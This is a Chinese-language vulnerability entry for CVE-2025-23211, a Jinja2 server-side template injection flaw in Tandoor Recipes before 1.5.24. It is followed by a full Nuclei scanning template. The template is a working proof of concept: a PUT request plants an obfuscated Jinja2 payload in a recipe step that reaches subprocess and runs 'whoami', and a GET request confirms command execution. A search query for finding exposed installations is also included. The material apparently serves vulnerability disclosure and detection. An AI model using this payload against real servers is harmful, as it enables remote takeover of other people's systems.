Tandoor Recipes Jinja2 SSTI RCE Vulnerability

漏洞信息

漏洞名称： Tandoor Recipes Jinja2 SSTI RCE Vulnerability

漏洞编号：

• CVE： CVE-2025-23211

漏洞类型： 服务端模板注入

漏洞等级： 严重

漏洞描述： Tandoor Recipes是一款开源的食谱管理应用，广泛用于个人和家庭中管理食谱和烹饪计划。它提供了一个用户友好的界面，支持多用户协作，常用于家庭和小型社区中。该应用在版本1.5.24之前存在一个Jinja2服务器端模板注入（SSTI）漏洞，攻击者可以通过在食谱步骤中注入恶意的Jinja2模板表达式来执行任意代码。这一漏洞的根源在于应用未能正确过滤用户输入的模板表达式，导致攻击者可以利用Jinja2模板引擎的功能执行系统命令。由于该漏洞允许远程代码执行，攻击者可以完全控制受影响的服务器，导致数据泄露、服务中断和权限提升等严重后果。值得注意的是，利用此漏洞需要攻击者具有一定的权限，即能够编辑食谱步骤，但这在共享环境中可能较为常见。

产品厂商： TandoorRecipes

产品名称： Tandoor Recipes

影响版本： < 1.5.24

搜索语法： html:”Tandoor Recipes”

来源： https://github.com/projectdiscovery/nuclei-templates/blob/8f823a52559553bfffd7f14fe4bbff976a19f362/http%2Fcves%2F2025%2FCVE-2025-23211.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: CVE-2025-23211

info:
  name: Tandoor Recipes < 1.5.24 - Jinja2 SSTI RCE
  author: sammiee5311 
  severity: critical
  description: |
    Tandoor Recipes < 1.5.24 has a Jinja2 SSTI vulnerability that allows command execution via recipe steps.
  impact: |
    Attackers can execute arbitrary code on the server by injecting malicious Jinja2 template expressions in recipe steps. This may lead to full server compromise, data disclosure, and privilege escalation.
  remediation: |
    Upgrade to Tandoor Recipes version 1.5.24.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-23211
    - https://github.com/TandoorRecipes/recipes/blob/4f9bff20c858180d0f7376de443a9fe4c123a50c/cookbook/helper/template_helper.py#L95
    - https://github.com/TandoorRecipes/recipes/commit/e6087d5129cc9d0c24278948872377e66c2a2c20
    - https://github.com/TandoorRecipes/recipes/security/advisories/GHSA-r6rj-h75w-vj8v
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2025-23211
    cwe-id: CWE-94, CWE-1336
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"Tandoor Recipes"
  tags: cve,cve2025,rce,ssti,tandoor,jinja2

variables:
  recipe_id: "2"
  token: JB81ig7b9iDQ79vlBa9sHmK1L9nvqMHr
  sessionid: abhg2gpc5uhl6y0l3w9x3dhmaqwvcf16

flow: http(1) && http(2)

http:
  - raw:
      - |
        PUT /api/recipe/{{recipe_id}}/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Cookie: csrftoken={{token}}; sessionid={{sessionid}}
        X-CSRFToken: {{token}}
        Accept: */*

        {
          "id": {{recipe_id}},
          "name": "test",
          "description": "test",
          "image": null,
          "keywords": [],
          "steps": [
            {
              "id": {{recipe_id}},
              "name": "",
              "instruction": "()|attr('\\x5f\\x5fclass\\x5f\\x5f')|attr('\\x5f\\x5fbase\\x5f\\x5f')|attr('\\x5f\\x5fsubclasses\\x5f\\x5f')()|attr('\\x5f\\x5fgetitem\\x5f\\x5f')(418)('whoami',shell=True,stdout=-1)|attr('communicate')()|attr('\\x5f\\x5fgetitem\\x5f\\x5f')(0)|attr('decode')('utf-8')",              
              "ingredients": [],
              "instructions_markdown": "",
              "time": 0,
              "order": 0,
              "show_as_header": false,
              "file": null,
              "step_recipe": null,
              "step_recipe_data": null,
              "show_ingredients_table": true,
              "time_visible": false,
              "ingredients_visible": true,
              "instruction_visible": true,
              "step_recipe_visible": false,
              "file_visible": false
            }
          ],
          "working_time": 0,
          "waiting_time": 0,
          "created_by": 1,
          "created_at": "2025-07-27T03:53:14.909900+02:00",
          "updated_at": "2025-07-27T03:53:14.953264+02:00",
          "source_url": null,
          "internal": true,
          "show_ingredient_overview": true,
          "nutrition": null,
          "properties": [],
          "food_properties": {},
          "servings": 1,
          "file_path": "",
          "servings_text": "",
          "rating": null,
          "last_cooked": null,
          "private": false,
          "shared": [],
          "food_name": "12345"
        }

    matchers:
      - type: status
        status:
          - 200

  - raw:
      - |
        GET /api/recipe/{{recipe_id}}/ HTTP/1.1
        Host: {{Hostname}}
        Cookie: csrftoken={{token}}; sessionid={{sessionid}}
        X-CSRFToken: {{token}}

    matchers:
      - type: word
        words:
          - "root"